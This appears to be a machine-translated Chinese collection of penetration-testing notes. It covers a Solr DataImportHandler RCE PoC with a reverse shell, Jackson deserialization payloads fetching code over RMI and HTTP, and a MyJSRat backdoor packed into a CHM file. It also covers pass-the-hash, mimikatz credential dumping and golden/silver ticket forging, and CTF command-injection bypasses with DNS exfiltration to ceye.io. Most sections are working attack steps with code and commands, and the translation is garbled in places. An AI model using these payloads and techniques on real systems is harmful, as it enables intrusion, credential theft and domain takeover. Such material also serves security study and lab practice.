  9. Apache Solr 远程命令执行漏洞 On August 1, 2019, Apache Solr officially released the CVE-2019-0193 vulnerability warning, with the vulnerability hazard rating of serious. The vulnerability occurs in Apache Solr's DataImportHandler, an optional but commonly used module for extracting data from databases and other sources. It has a feature in which all DIH configurations can be set through the externally requested dataConfig parameter. Since DIH configurations can contain scripts, attackers can create remote command execution by constructing dangerous requests. 360CERT judges that the vulnerability level is high, and it is recommended that Apache Solr users upgrade in time to prevent attackers from attacking. POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 dataConfig script![CDATA[ function f1(row){ var run=java.lang.Runtime.getRuntime().exec('touch /tmp/success'); row.put('name', 'Hello World!'); return row; } ]]/script document entity name='person' transformer='script:f1' query='select * from person' pk='id' field column='id' name='id' / field column='name' name='name' / /entity /document /dataConfig 漏洞成因 The vulnerability is caused by two reasons: The user sets up DataImportHandler in the solrconfig.xml file and enables the DataImport function. The DataImportHandler module allows users to include scripts themselves to configure. An attacker can construct a malicious script and hand it over to the converter for parsing. During the Solr parsing process, the user's input is not checked, which can cause the attacker to execute commands remotely on the Solr server. 环境搭建 solr部署 This environment adopts docker deployment Pull the image: docker pull solr: 8.1.1 Start container: docker run –name solr -d -p 8983:8983 -t solr:8.1.1 Visit http://IP:8983/, the apache solr framework is deployed 开启DataImportHandler插件 新建core: Click Add Core, and the solr system reports an error. Then execute: docker exec -it –user root solr /bin/bash and enter the solr container. After entering the container, execute: 1 2 3 4 5 cp /opt/solr-8.1.1/server/solr/configsets/_default/conf /var/solr/data/new_core/ cp /opt/solr/dist/solr-dataimporthandler-8.1.1.jar /opt/solr/server/solr-webapp/webapp/webapp/WEB-INF/lib cp /opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar /opt/solr/server/solr-webapp/webapp/webapp/WEB-INF/lib cd /var/solr/data/new_core/conf/ vim solrconfig.xml DataImportHandler 插件配置 Add the following XML to solrconfig.xml 1 2 3 4 5 6 requestHandler name='/dataimport' class='org.apache.solr.handler.dataimport.DataImportHandler' lst name='defaults' str name='config'data-config.xml/str /lst /requestHandler Note: The XML format must follow the above format, otherwise an error will be reported! Execute vim data-config.xml and save the following XML to the file: 1 2 3 4 5 6 7 8 9 dataConfig dataSource driver='com.mysql.jdbc.Driver' url='jdbc:mysql://IP:3306/securityTest' user='root' password='root' / document entity name='person' query='select * from person' pk='id' field column='id' name='id' / field column='name' name='name' / /entity /document /dataConfig Then put mysql-connector-java-5.1.48.jar into the /opt/solr/server/solr-webapp/webapp/webapp/WEB-INF/lib folder 重启 solr Then restart solr:/opt/solr/bin/solr restart At this point, the vulnerability environment has been built and the screenshot of the successful construction is as follows: 漏洞测试 访问管理页面 Browser access: http://IP:8983/ 开启 Debug 模式 Copy the poc into Configuration: The commands executed by the victim machine can be replaced in the marked place. This article takes the rebound shell as an example. 开启监听 nc -lp 4567 执行命令 Click Execute with this Configuration If the execution is successful, it can be found that the shell has rebounded successfully: 影响范围 Apache Solr 8.2.0 修复建议 Upgrade Apache Solr to 8.2.0 or later
  10. CVE-2019-14361 CVE-2019-14379漏洞复现 I received a push on the evening of July 30. I learned that Jackson-databind has released a new RCE, and some bigwigs have found a new way to use it. 漏洞分析 According to the issue of Jackson developer, triggering this Jackson vulnerability requires the following requirements. The target application receives JSON data sent by an untrusted client The target application uses polymorphic type processing method to handle properties of the java.lang.Object type; In this vulnerability, there are a lot of third-party jar packages that depend on (I feel that it is quite a coincidence that I can encounter these libraries during the actual utilization process) 环境搭建 The third-party libraries used in this article are: jackson-annotations-2.9.8 jackson-core-2.9.8 jackson-databind-2.9.8 ehcache-2.9.1 slf4j-api-1.7.7 logback-core-1.3.0-alpha4 slf4j-simple-1.7.21 javax.transaction_1.0.0.0_1-1 Download it at http://www.mvnrepository.com. 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import java.lang.Exception; public class Main { public static void main(String[] args) { System.out.println('Mapping'); //Note that there are restrictions on higher versions of JDK, and the value of com.sun.jndi.rmi.object.trustURLCodebase needs to be set to true, and the default is false System.setProperty('com.sun.jndi.rmi.object.trustURLCodebase', 'true'); //CVE-2019-14361 payload String jsonStr1='[\'ch.qos.logback.core.db.JNDIConnectionSource\', {\'jndiLocation\':\'rmi://127.0.0.1:1099/ExportObject\'}]'; //CVE-2019-14379 payload String jsonStr2='[\'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\',{\'properties\':{\'jndiName\':\'rmi://127.0.0.1:1099/ExportObject\'}}]'; ObjectMapper mapper=new ObjectMapper(); mappper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); System.out.println('Serializing'); Object obj=null; try { //!-Replace payload here-! obj=mapper.readValue(jsonStr1, java.lang.Object.class); } catch(Exception e) { e.printStackTrace(); } System.out.println('objectified'); try { mappper.writeValueAsString(obj); } catch(Exception e) { e.printStackTrace(); } try { System.out.println('stringified: ' + mapper.writeValueAsString(obj)); } catch(Exception e) { e.printStackTrace(); } } } 构建步骤 This article generates a project on IDEA Create a new java Commandline project Copy the above code into the Main function Click the icon in the red box to enter the project structure settings Import the downloaded external library into the project For specific import steps, please refer to my article. I won’t go into details here. https://www.secquan.org/BugWarning/1069944 攻击流程 Turn on RMI service For convenience, we can use the marshalsec artifact, which can quickly enable RMI and LDAP services. Of course you need to download the source code package and compile it with maven. Download link: https://github.com/mbechler/marshalsec. After downloading it locally, you can compile it with mvn clean package -DskipTests. The compilation results are as follows: Turn on RMI service: 1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8000/#ExportObject Note: # Fill in the class name of your malicious class later, it will automatically bind the URI, and the default port number of rmi is 1099. Compile ExportObject.java The ExportObject.java code content is as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 package com.by.rmi; import java.io.BufferedReader; import java.io.InputStreamReader; public class ExportObject { public ExportObject() throws Exception { Process proc=Runtime.getRuntime().exec('open /Applications/Calculator.app'); BufferedReader br=new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb=new StringBuffer(); String line; while((line=br.readLine()) !=null) { sb.append(line).append('\n'); } String result=sb.toString(); Exception e=new Exception(result); throw e; } public static void main(String[] args) throws Exception { ExportObject e=new ExportObject(); } } Note: The function of the above code is to pop up the calculator on the mac platform. If you change the platform, please replace the content in the exec function yourself. Compile into class file: javac ExportObject.java Execute python2 -m SimpleHTTPServer 8000 under the Generate ExportObject.class folder and start the HTTP service locally. CVE-2019-14361 测试 Replace the payload in POC with jsonStr1 and compile and run, and the result is as follows: CVE-2019-14379 测试 Replace the payload in POC with jsonStr2 and compile and run, and the result is as follows: Correspondingly, the screenshot of the operation of the rmi service is as follows:
  11. MyJSRat结合CHM命令执行 MyJSRat MyJSRat is the python version of JSBackdoor Download address :https://github.com/Ridter/MyJSRat Easy CHM CHM is the abbreviation of Compiled Help Manual in English, that is, "compiled help file". CHM is Microsoft's new generation help file format. It uses HTML as a source text to compile and store help content in a database-like form. 步骤 下载 MyJSRat 并运行 1 git clone https://github.com/Ridter/MyJSRat 1 python MyJSRat.py -i IPaddr -p port 下载 wtf 文件 Browser access https://IPaddr:port/wtf and save it to txt file 将上面保存的代码写入到如下代码的 Item1 的 Value 值中 Note: To be added before and after rundll32.exe, 1 !DOCTYPE htmlhtmlheadtitleMousejack replay/titlehead/headbodycommand exec OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1PARAM name='Command' value='ShortCut' PARAM name='Button' value='Bitmap:shortcut' PARAM name='Item1' value=',rundll32.exe,' PARAM name='Item2' value='273,1,1'/OBJECTSCRIPTx.Click();/SCRIPT/body/html 保存为 HTML 文件 Create a new directory and save the above code in the new folder 通过 EasyCHM 制作 CHM 文件 Compile exp.html file through EasyCHM 双击上线 At this time, just double-click the test.CHM file and you can go online
  12. Windows 认证 Windows 本地认证 本地认证基础 When logging in to Windows locally, the operating system will use the password entered by the user as a credential to verify with the password in the system, but where is the password in the operating system stored? Path: %SystemRoot%\system32\config\sam When we log in to the system, the system will automatically read the "password" in the SAM file and compare it with the "password" we entered. If the same, it proves that the authentication is successful! This SAM file retains credential information for all users local to the computer, which can be understood as a database. NTLM(NT LAN Manager) Hash NTLM Hash is an important participant in supporting the Net NTLM authentication protocol and local authentication process. Its length is 32 bits and consists of numbers and letters. Windows itself does not store the user's plaintext password. It will store the user's plaintext password in the SAM database after an encryption algorithm. When the user logs in, the plain text password entered by the user is also encrypted into NTLM Hash and compared with the NTLM Hash in the SAM database. The predecessor of NTLM Hash was LM Hash, which is basically eliminated at present, but it still exists. NTLM Hash——产生 admin=209c6174da490caeb422f3fa5a7ae634 admin - hex(hex encoding)=61646d69e 61646d69e - unicode=610064006d0069006e00 610064006d0069006e00 - MD4=209c6174da490caeb422f3fa5a7ae634 本地认证流程 Windows Logon Process (that is, winlogon.exe is a Windows NT user login program that manages user login and logout. LSASS is the security mechanism of Microsoft Windows systems. Used for local security and login policies. LM Hash Convert all lowercase letters to uppercase letters 123ABC //Not reached 7 characters Convert passwords to hexadecimal, divided into two groups, filled with 14 characters, and fill with0x00 characters 31323341424300000000000000000 Split the password into two sets of 7 byte blocks 31323341424300 00000000000000000 //16 Convert each group into bitstream. If less than 56Bit, add 0 to the left. 31323341424300 - (Convert to binary) 1100010011001000110011010000101000100010001100000000-(Complement 56Bit) 001100010011001000110011010000101000010010001000011000000000000 Divide 8 groups into 7 bits, add 0 at the end Since the latter are all 0, the result can be imagined, that is all 0; Convert each set of bitstreams to 16 points and make it into encrypted values, encrypted using DES, and the string KGS!@#$% is Key(0x4B47532140232425), and 8 results are obtained, each of which is converted to hexadecimal. - 00110001001100010001100011010000010100001000100100000110000011000000000 -30988C6814120C00 - DES(30988C6814120C00) - 48-D7-EB-91- 2F-5E-69-7C Since our password is no more than 7 bytes, the latter half is fixed : AA-D3-B4-35-B5-14-04-EE Concatenate two DES encryption strings. This is the LM hash. 48-D7-EB-91-2F-5E-69-7C-AA-D3-B4-35-B5-14-04-EE Windows网络认证 During intranet penetration, the working group environment is often encountered, and the working group environment is a logical network environment (work area). The machines affiliated to the working group cannot establish a perfect trust mechanism with each other, and can only be point-to-point. It is a relatively backward authentication method and there is no trust organization. Assuming that host A and host B belong to the same workgroup environment, if A wants to access the information on host B, he needs to send an account credential that exists on host B to host B, so that he can access the resources on host B after being authenticated. This is a case where we have been exposed to more SMB shared files. The default port of SMB is 445. Early SMB protocols transmitted plaintext passwords on the network. Later, the LAN Manager Challenge/Response verification mechanism appeared, referred to as LM for short. It was so simple that it was easily cracked. Now there are NTLM v2 and Kerberos again. Challenge/Response Step 1: Negotiation In this step, the client confirms the version of the protocol to the server, whether it is v1 or v2. More than a little Step 2: The complete process of questioning: The client sends user information (user name) request to the server The server accepts the request and generates a 16-bit random number called "Challenge". The NTLM Hash corresponding to the login username encrypts the Challenge (16-bit random characters) to generate Challenge1. At the same time, after generating Challenge1, send Challenge (16-bit random characters) to the client. //Net NTLM Hash=NTLM Hash(Challenge) After the client receives the Challenge, it generates a Response using the NTLM Hash encryption Challenge that you want to log in to the account, and then sends the Response to the server. Step 3: Verification After the server receives the client's response, compare whether the Change1 and Response are equal. If it is equal, the authentication will be passed. Use another way to interpret: After the Server receives the username sent by the Client, it determines whether there is a username share_user in the local account list. If not, the return authentication failed; If so, generate a Change, and search for the NTLM Hash corresponding to share_user from the local area, encrypt the Change using NTLM Hash, generate a Net-NTLM Hash to store it in memory, and send the Change to the Client. After receiving the Change, the Client converts the password of share_user it provides to NTLM Hash and uses NTLM Hash to encrypt the Change. This result is called Response, which is expressed in Net-NTLM Hash, and finally sends the Response to the Server. The Server receives the Response sent by the Client, compares the Response with the previous Net-NTLM Hash, and if it is equal, the authentication will be passed. Note : Chanllenge is a 16-byte random number generated by the server, which is different for each authentication. Response is manifested in Net-NTLM Hash, which is the result of the Password Hash Encryption Server returned by the server with the password provided by the client. NTLM v2 The most significant difference between NTLM v1 and NTLM v2 is that Challenge is different from encryption algorithms, and the common point is that the raw materials for encryption are all NTLM Hash. Let me explain in detail what the difference is : Challenge: NTLM v1 has 8 bits of Challenge, NTLM v2 has 16 bits of Challenge Net-NTLM Hash: The main encryption algorithm of NTLM v1 is DES, and the main encryption algorithm of NTLM v2 is HMAC-MD5. //Responder, smbexec Pass The Hash During intranet penetration, we often need to grab the administrator's password and NTLM hash. Collecting this information will help us expand our results, especially in the domain environment. What is hash delivery? Hash delivery is a technology that can complete authentication without requiring an account's clear password. What is hash delivery? It solved the problem that we could not obtain plaintext passwords during our penetration, and could not crack NTLM Hash but wanted to expand the results of the battle. 必要条件 Hash delivery requires the authenticated host to be able to access the server Hash passes the username that needs to be passed to authenticated Hash delivery requires the authenticated user to be passed on. 原理分析 To complete an NTLM authentication, the first step is to send the username to the server to the authentication and wait for the Challenge given by the server. In fact, hash delivery is to encrypt the server's Disclosure using the NTLM Hash corresponding to the user name to generate a Response to complete the authentication. Pass The Hash can complete an NTLM protocol authentication process that does not require entering a password, so it is not a vulnerability, but a skill. Pass The Hash Tools: Smbmap CrackMapExec Smbexec Metasploit Implement Hash pass using CrackMapExec: 1 2 3 4 5 6 7 root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami SMB 192.168.3.5 445 LIYINGZHEA30B [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B) (domain:PAYLOADS) (signing:False) (SMBv1:True) SMB 192.168.3.5 445 LIYINGZHEA30B [+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9 (Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command Kerberos域认证 Active Directory(活动目录)的概念 Windows provides organized management of assets, services, and network objects for enterprise management, which is very consistent with the management model of the enterprise architecture. The active directory service is the one that carries these management mechanisms. If you want to build a domain, you need to install the Active Directory service. The active directory service divides the boundaries of the domain by domain names, and outside the domain is no longer within the management scope. That is to say, one domain corresponds to a domain name, and the domains can also trust each other. Active Directory stores information about network objects and allows administrators and users to easily find and use this information. Active Directory uses a structured data storage method and uses it as a basis to organize directory information logically and hierarchically. Network objects are divided into : users, user groups, computers, domains, organizational units, and security policies. Active Directory(活动目录)的概念 Server and Client Computer Management : manages server and client computer accounts, all servers and client computers join domain management and implement group policies. User Service : manages user domain accounts, user information, enterprise address book (integrated with email system), user group management, user identity authentication, user authorization management, etc. and implements group management policies according to the province. Resource Management : manages network resources such as printers, file sharing services. Desktop Configuration : system administrators can centrally configure various desktop configuration policies, such as : user usage domain restrictions, interface functions restrictions, application execution characteristics restrictions, network connection restrictions, security configuration restrictions, etc. The application system supports : to support various application systems such as finance, personnel, email, enterprise information portal, office automation, patch management, antivirus system, etc. In the domain, network objects can access each other, but in real cases, some departments need to be restricted, such as sales departments cannot access the technical department's servers. In the meantime, the Kerberos authentication protocol is required to verify the permissions between network objects. 域认证体系 - Kerberoes Kerberos is a network authentication protocol designed to provide powerful authentication services for client/server applications through a key system. The implementation of this authentication process does not rely on authentication of the host operating system, does not require trust based on host address, does not require physical security of all hosts on the network, and assumes that data packets transmitted on the network can be read, modified and inserted arbitrarily. In the above cases, Kerberos, as a trusted third-party authentication service, performs authentication services through traditional cryptographic technology (such as : shared key). 域认证所参与的角色 Kerberos' logo is three dog heads, and the dog heads represent the following characters: Client Server KDC(Key Distribution Center)=DC(Domain Controller) 域认证所参与的角色 AD(Account database): stores the whitelist of all clients. Only clients that exist on the whitelist can successfully apply for TGT Authentication Service: Generates TGT services for client Ticket Granting Service: Generates a ticket for a service for the client From a physical perspective, both AD and KDC are domain controllers (Domain Controllers). 域认证粗略流程 client requests the kerberos service, hoping to obtain permission to access the server. After getting this news, kerberos first has to judge whether the client is trustworthy, that is, the whitelist blacklist statement. This is what the AS service does, distinguishing clients by storing blacklists and whitelists in AD. After success, return AS and return TGT to client. After the client gets TGT, it continues to request from kerberos, hoping to obtain permission to access the server. kerberos got this message again. At this time, through the TGT in the client message, it was determined that the client had this permission and gave the client the permission to access the server ticket. After the client gets the ticket, he can finally successfully access the server. This ticket is only for this server, and other servers need to apply to TGS. 第一步 Session Key 与 Ticket Granting Ticket 第二步 Session Key 与 Ticket Granting Ticket 第三步 Server Session Key 与 Ticket 白银票据 Features of silver notes: No need to interact with KDC NTLM Hash that requires target service The composition of the Ticket in the third step of authentication: Ticket=Server Hash(Server Session Key + Client info + End Time) When you have Server Hash, we can forge a Ticket that is not certified by KDC. PS: Server Session Key Before the Ticket is sent, the server does not know what the Server Session Key is. Therefore, all credentials come from Server Hash. 伪造白银票据 First, you need to export Server Hash: 1 C:\filesmimikatz.exe 'privilege:debug" 'sekurlsa:logonpasswords' 'exit' log.txt Forged Notes : 1 mimikatz "kerberos:golden /domain: domain name /sid: domain SID /target: target server hostname /service: service type /rc4:NTLM Hash /user: username /ptt' exit Other: kerberos:list #list tickets kerberos:purge # Clear tickets Since silver bills require the hash of the target server, it is impossible to generate bills for all servers in the corresponding domain, and they cannot apply through TGT. Therefore, you can only forge certain services on the server. The list of forged service types is as follows : Service Notes Service name WMI HOST, RPCSS Powershell Remoteing HOST, HTTP WinRM HOST, HTTP Scheduled Tasks HOST LDAP, DCSync LDAP Windows File Share (CIFS) CIFS Windows Remote ServerAdministration Tools RPCSS, LDAP, CIFS 白银票据(Silver Tickets)防御 Try to ensure that the server credentials are not stolen Enable the PAC (Privileged Attribute Certificate) privilege attribute certificate protection function. PAC mainly stipulates that the server sends the ticket to the kerberos service, and the kerberos service verifies whether the ticket is valid. Opening mode : Set ValidateKdcPacSignature in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters to 1 黄金票据(Golden Tickets) Features of Gold Notes : Need to communicate with DC Need hash of krbtgt user The krbtgt hash here in PS: is the KDC Hash mentioned earlier Note that the krbtgt hash here in : is the KDC Hash mentioned earlier 黄金票据(Golden Tickets)-MSF kiwi Using the kiwi module in meterpreter: load kiwi 黄金票据(Golden Tickets) - 伪造 Forged Notes : 1 mimikatz "kerberos:golden /domain: domain name /sid: domain SID /rc4:KRBTGT NTLM Hash /user:arbitrary username /ptt' exit Tickets 总结 Gold Notes : From the perspective of the attack surface, after obtaining the hash of the krbtgt user, it can persistently hide in the domain, and the log cannot be traced, but it requires DC permissions. Using gold notes can control the entire domain in a domain environment for a long time. From a defense perspective, krbtgt's password needs to be updated frequently to make the original bill invalid.
  13. 定位域管理员 1 定位域管位置 Locate the domain administrator, which servers or hosts are logged in to the domain of the privileged account? Obtained a universal local password (Windows NT5.* system), locate the privileged user to obtain the privileged user's login credentials, thereby obtaining domain administrator permissions After the Vista system, it can be used as information detection for directional attacks 1.1 原理 Through IPC empty connection or low-privilege connection, call the system API to enumerate the session information, login history, group information and group member information in the target system 1.2 相关 API NetsessionEnum NetShareEnum NetWkstaUserEnum Active Directory Service INterfaces [ADSI] Win NT provider 2 相关工具 Netsess.exe Netview.exe Pslogon.exe PVEFindADUser.exe 2.1 netsess.exe First perform IPC connection, otherwise the connection is rejected, the error code is 5 Run netsess.exe 2.2 nete.exe Download address 1 nets.exe \\192.168.8.205 /0 2.3 Powershell Group and group member information acquisition, ADSI's WinNT provider supports, and you can quickly obtain information through Powershell Get-NetLocalGroup Get-NetLocalGroupMember -Computername [win10x64en] -GroupName [administrators] When an administrator formulates a group policy, the currently logged-in domain user can be added to the local administrator group The host group policy is stored in the $GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmp1.inf file and the $GPOPath\MACHINE\Preferences\Groups\Groups.xml file. In the experimental environment, we added a group policy called LocalAdmin to add the reduser user to the local administrator group of logged in hosts PowerView provides similar and more powerful features, the Get-DomainGPOLocalGroup command, enumeration and analysis of all group policies, and can easily obtain results. The principle of Get-DomainGPOLocalGroup is to analyze whether there are changes in the privilege group in the GptTmp1.inf file.
  14. CVE-2019-12384:Jackson反序列化漏洞复现 分析 According to the information mentioned by Jackson developers, triggering this Jackson vulnerability requires meeting the following requirements, so the vulnerability is rated as medium-risk: The target application receives JSON data sent by an untrusted client The target application uses polymorphic type processing method to process properties of the java.lang.Object type; The target application contains at least one "gadget" class that can be utilized in the Java classpath. In this vulnerability, there are a lot of third-party jar packages that depend on. In addition to jackson's own jar package, logback-core and h2 are also needed; 环境搭建 The third-party libraries used in this article are: jackson-databind 2.9.8 jackson-annotations-2.9.8.jar jackson-core-2.9.8.jar logback-core-1.3.0-alpha4.jar h2 1.4.199 Download it on http://www.mvnrepository.com. 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package com.baiyang; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature; import org.h2.Driver; public class Main { public static void main(String[] args) { try { Class.forName('org.h2.Driver').newInstance(); } catch (Exception e) { e.printStackTrace(); } System.out.println('Mapping'); //This payload is used for SSRF reproduction String SSRF='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:tcp://127.0.0.1:4444/~/hacker\'}]'; //This payload is used for reproduction of RCE String RCE='[\'ch.qos.logback.core.db.DriverManagerConnectionSource\', {\'url\':\'jdbc:h2:mem:TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\'}]'; ObjectMapper mapper=new ObjectMapper(); mappper.enableDefaultTyping(); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); System.out.println('Serializing'); Object obj=null; try { //Replace SSRF or RCE to test the payload of SSRF or RCE vulnerability obj=mapper.readValue(RCE, java.lang.Object.class); } catch(Exception e) { e.printStackTrace(); } System.out.println('objectified'); try { System.out.println('stringified: ' + mapper.writeValueAsString(obj)); } catch(Exception e) { e.printStackTrace(); } } } 构建步骤 This article generates a project on IDEA Create a new java Commandline project Replace the above code with the class Click the icon in the red box to enter the project structure settings Follow the steps below to import the downloaded external jar package into the project file 攻击流程 Save the following sql script file as inject.sql 1 2 3 4 5 6 CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command={'bash', '-c', cmd}; java.util.Scanner s=new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter('\\A'); return s.hasNext() ? s.next() : ''; } $$; CALL SHELLEXEC('open /Applications/Calculator.app') Note: In this article, RCE is executed under MacOS. If in other environments, please replace the commands in CALL SHELLEXEC by yourself. Execute local execution python2 -m SimpleHTTPServer 80, start HTTP service locally RCE payload测试 Replace the payload in the java file with RCE, compile and run the java program SSRF payload测试 Execute nc -l -vv 4444 to facilitate observation of SSRF results Replace the payload in the java file with SSRF, compile and run the java program 参考 https://blog.doyensec.com/2019/07/22/jackson-gadgets.html https://www.anquanke.com/post/id/182695
  15. CTF 中的命令执行漏洞相关 Since there is no filtering for the special function portal that can be executable in the code, the user can submit malicious statements and hand them over to the server for execution. The main reason for the success of this vulnerability attack is that the web server does not filter incoming parameters of functions such as system(), eval(), exec(), etc. 1 代码注入 1.1 相关函数 1.1.1 eval 1 2 3 4 5 ?php hilight_file(__FILE__); $a='phpinfo();'; eval($a); ? 1.1.2 assert 1.1.3 call_user_func You can use the is_callable function to see if it can be called back 1.1.4 call_user_func_array 1.1.5 create_function 1.1.6 preg_replace Search for the part of the subject that matches the pattern and replace it with replacement or its execution result. 1.1.7 array_map payload: url?a=assertb=phpinfo() 1.1.8 usort Payload: url?1[]=phpinfo()1[]=1232=assert 1.1.9 uasort 1.1.10 ${php 代码} 1.2 DEMO 1 2 3 4 5 6 7 ?php highlight_file(__FILE__); $price=$_GET['price']; $code='echo $name'. 'The price of '. $price. ';'; $b=create_function('$name', $code); $b('iPhone'); ? Payload: url?price=123;}phpinfo();/* 2 命令注入 2.1 相关函数 2.1.1 system 2.1.2 exec 2.1.3 passthru 2.1.4 shell_exec 2.1.5 `` 运算符 2.1.6 ob_start 2.2 命令执行的绕过 2.2.1 命令执行的分隔符 For example: 1 2 3 4 5 ?php highlight_file(__FILE__); $rce='echo 123'; system($rce. $_GET[1]); ? How to implement command execution Line break %0a Carriage return %0d Continuous instruction; Background process Pipeline symbol | Logic ||, 2.2.2 命令执行的分隔符 Symbol $IFS ${IFS} $IFS$9 %09 for url delivery ${9} 2.2.3 其它 Tips 2.2.3.1 命令拼接 1 $a=l;$b=s;$a$b 2.2.3.2 base64 编码 1 `echo cHdk | base64 -D` 2.2.3.3 substr string pos len This expression takes out a substring with length len from the pos position. If pos or len is a non-positive integer, an empty string is returned. echo "${PATH:0:1}" - / 1 2 3 echo '`expr\$IFS\substr\$IFS\\$(pwd)\\$IFS\1\$IFS\1`' echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` - / expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1{$IFS}1 2.3 命令无回显的情况 2.3.1 判断 Delay ls|sleep(3) HTTP Request DNS Request ceye.io 2.3.2 利用 Write shell (direct write, external download) http/dns and other methods to bring it out 2.3.3 DEMO 1 2 3 4 5 6 7 8 ?php highlight_file(__FILE__); include('where_is_flag.php'); echo 'ping:'; $ip=(string)$_GET['ping']; $ip=str_replace('', '0.0', $ip); shell_exec('ping '.$ip); ? payload: 1 2 ip=;cp where_is_flag.php 1.txt ip=`cat 1.txt|sed s/[[:space:]]//`.xx.ceye.io Skill cat 1.txt|sed s//[[:space:]]//g is the function of removing spaces
  16. Netmon-Windows https://www.hackthebox.eu/home/machines/profile/177 IP: 10.10.10.152 nmap 扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-10 19:45 CST NSE: Loaded 148 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 19:45 Completed NSE at 19:45, 0.00s elapsed Initiating NSE at 19:45 Completed NSE at 19:45, 0.00s elapsed Initiating Ping Scan at 19:45 Scanning 10.10.10.152 [4 ports] Completed Ping Scan at 19:45, 0.32s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:45 Completed Parallel DNS resolution of 1 host. at 19:45, 0.03s elapsed Initiating SYN Stealth Scan at 19:45 Scanning 10.10.10.152 [1000 ports] Discovered open port 135/tcp on 10.10.10.152 Discovered open port 139/tcp on 10.10.10.152 Discovered open port 445/tcp on 10.10.10.152 Discovered open port 80/tcp on 10.10.10.152 Discovered open port 21/tcp on 10.10.10.152 Increased send delay for 10.10.10.152 from 0 to 5 due to 23 out of 56 dropped probes since last increase. Completed SYN Stealth Scan at 19:46, 51.60s elapsed (1000 total ports) Initiating Service scan at 19:46 Scanning 5 services on 10.10.10.152 Completed Service scan at 19:46, 11.53s elapsed (5 services on 1 host) Initiating OS detection (try #1) against 10.10.10.152 Retrying OS detection (try #2) against 10.10.10.152 Retrying OS detection (try #3) against 10.10.10.152 Retrying OS detection (try #4) against 10.10.10.152 Retrying OS detection (try #5) against 10.10.10.152 Initiating Traceroute at 19:46 Completed Traceroute at 19:46, 0.36s elapsed Initiating Parallel DNS resolution of 2 hosts. at 19:46 Completed Parallel DNS resolution of 2 hosts. at 19:46, 0.04s elapsed NSE: Script scanning 10.10.10.152. Initiating NSE at 19:46 NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument. Completed NSE at 19:46, 11.52s elapsed Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Nmap scan report for 10.10.10.152 Host is up (0.30s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 02-03-19 12:18AM 1024.rnd | 02-25-19 10:15PM DIR inetpub | 07-16-16 09:18AM DIR PerfLogs | 02-25-19 10:56PM DIR Program Files | 02-03-19 12:28AM DIR Program Files (x86) | 02-03-19 08:08AM DIR Users |_02-25-19 11:49PM DIR Windows | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479 | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: PRTG/18.1.37.13946 | http-title: Welcome | PRTG Network Monitor (NETMON) |_Requested resource was /index.htm |_http-trane-info: Problem with XML parsing of /evox/about 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open Microsoft-ds Microsoft Windows Server 2008 R2 - 2012 Microsoft-ds Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 15s, deviation: 0s, median: 15s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-06-10 19:47:00 |_ start_date: 2019-06-10 18:23:19 TRACEROUTE (using port 25/tcp) HOP RTT ADDRESS 1 341.39 ms 